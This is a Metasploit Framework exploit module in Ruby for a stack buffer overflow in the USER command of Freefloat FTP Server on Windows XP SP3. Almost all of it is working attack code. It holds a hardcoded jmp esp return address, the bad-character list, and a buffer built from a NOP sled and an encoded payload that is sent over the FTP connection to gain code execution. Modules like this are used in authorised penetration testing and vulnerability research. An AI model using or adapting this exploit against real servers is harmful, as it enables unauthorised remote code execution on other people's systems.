##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::Remote::Ftp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Freefloat FTP Server Username Stack Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow found in the USER command of the Freefloat FTP server.
            },
            'Author'         => [
                        '0v3r',     # Initial Discovery
                        'James Fitts'   # Metasploit Module
                    ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/15689' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'BadChars' => "\x00\x0a\x0d",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP3', { 'Ret' => 0x77def069 } ], # jmp esp from ADVAPI32.dll
                ],
            'DisclosureDate' => 'Dec 05 2010',
            'DefaultTarget' => 0))
    end
 
    def exploit
        connect
 
        print_status("Trying target #{target.name}...")
 
        buf = make_nops(230) + [target.ret].pack('V')
        buf << make_nops(50)
        buf << payload.encoded
 
        send_cmd( ['USER', buf] , false )
 
        handler
        disconnect
    end
 
end